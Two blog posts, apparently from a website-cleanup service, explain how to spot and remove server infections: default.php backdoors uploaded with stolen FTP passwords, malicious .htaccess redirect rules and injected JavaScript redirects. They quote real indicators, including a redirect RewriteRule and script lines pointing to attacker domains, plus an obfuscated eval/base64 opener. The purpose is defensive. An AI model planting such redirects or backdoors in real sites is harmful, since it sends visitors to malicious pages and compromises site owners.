Attack of the default.php files

We’ve been seeing many infected websites that have numerous default.php files “sprinkled” throughout the site.

These files are being used by hackers to infect other websites.

The code inside the default.php files usually starts with:

eval (gzinflate ( base64_decode ("...

The file will usually be either 2,858 or 2,556 in size.

These files are uploaded to the website via FTP.

How do hackers upload files to your site with FTP?

They have stolen your password!

If you have access to your FTP log files, you will see some entries like this:

Sun Jan 13 21:41:48 2013 0 XX.XX.XX.XX 2848 /home/(name of your account)/public_html/default.php b _ i r ftpaccount ftp 1 * c

The ftpaccount shown in the log entry will be the one that has been used by the hackers to upload the default.php files to your site. Whoever is using that account legitimately could be the using the computer with a virus on it that has stolen the passwords.

The default.php files are also used to upload malicious .htaccess files. Those files will have something like this:

RewriteEngine On

RewriteBase /

RewriteCond %{HTTP_REFERER} ^http: //[w.]*([^/]+)

RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/$ [NC]

RewriteRule ^.*$ http: //le-guide-thalasso-sainte-maxime. com/wapn.html?h=1415319 [L,R]

We’ve seen various domains inserted into that last line but the format is basically the same: URL/randomname.html?h=(some numbers)

First thing is to change all your passwords: hosting account, FTP, website (WordPress, Joomla or other…). Then DO NOT log back in again until you have scanned all your computers – yes even Macs.

Next, reviewing the log files will show you where on your site the files were uploaded and then you can delete those files. Check your .htaccess files for any code similar to the above. If there was already a .htaccess file in that folder, they have added their malicious redirects. The above lines can simply be removed from your file.

If there wasn’t already a .htaccess file there then the hackers have added one and it can just be deleted.

Again, please run daily virus scans on all computers – daily. When your anti-virus program updates, it typically doesn’t run a full scan. So any updates you received today on your anti-virus program will not detect anything already on your system until you run a full scan. The updates will only protect your computer from the new infections.

With this infection there are typically additional backdoor shell scripts added to the site as well. Those have generally been something using the base64_decode string so you can search your files for that and then further analyze the file to determine if it’s malicious or not.

If you need help cleaning this up, please send me an email at:

Thank you.

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By and website infections

Since this past weekend, 10-9-2010, we’ve been getting many requests from website owners who have had their websites infected with code that redirects visitors to either or This blog post will show how to clean websites infected with the or redirects.

We’ve cleaned infected websites on Windows servers as well as infected websites on Linux servers and they’ve all been basically the same.

Inside of every folder there is a file named .htaccess. Yes even on Windows. It doesn’t work on websites based on Windows servers, but it’s there. The file contents look like this:

RewriteEngine On
RewriteBase /
RewriteRule ^(.*)?

For those of you who are infected with the redirect, your file contents will look similar, just replace with

Look in all folders for this file, open the file and if the contents look like above, then delete the file.

You might also find that the index.html files have been replaced, or in some instances, there is an index.html file added to each folder on the website. In any case, you’ll probably find this code somewhere in the index.html file:

(opening script tag)document. location. href='http://funnysignage. com/r.php';(closing script tag)(opening script tag)document. location. href='http://funnysignage. com/r.php';(closing script tag)

You’re reading that correctly. It usually appears twice – and it’s usually at the bottom of the file, outside the closing html tag. Again, for those who have websites infected with the redirect, just replace with and that’s what you’ll probably see inside your index.html files.

In many of these website infections, inside the index.php files, they will have been replaced. The contents of the index.php file is nothing more than:

(opening script tag)document.location.href='';(closing script tag)

Removing the above, will stop your website from redirecting, however, the clean-up isn’t over. In the majority of the cases with the or redirects, we’re also seeing many backdoors placed on the infected websites.

Unfortunately, there is no common strings to search for when looking for backdoors – but, you must find them and delete, otherwise the next website infection will surely find your site as victim.

If you have a known, good back-up of your website, you may want to consider deleting your entire site and restoring from back-up. Please verify that the back-up is not infected.

In cleaning up from this infection, you’ll have to remove many, many files and as stated above, often times, the legitimate files are replaced with nothing more than the above redirect code, so restoring from back-up may just be your only choice.

If this infection starts infecting websites hosted at certain hosting providers and somebody starts blaming a particular large hosting provider(s), don’t believe it. We’ve already seen this infection across many, many different hosting providers and some sites that are on their dedicated server. Please do not think that changing hosting providers will solve this issue.

As best we can tell, the only common factors in the or infections is either the site is running on PHP 4.X, or the website owner, developer, author or someone who has FTP access to the infected website, has a virus that has stolen the FTP credentials.

If you need help in cleaning your website from this, please contact me at: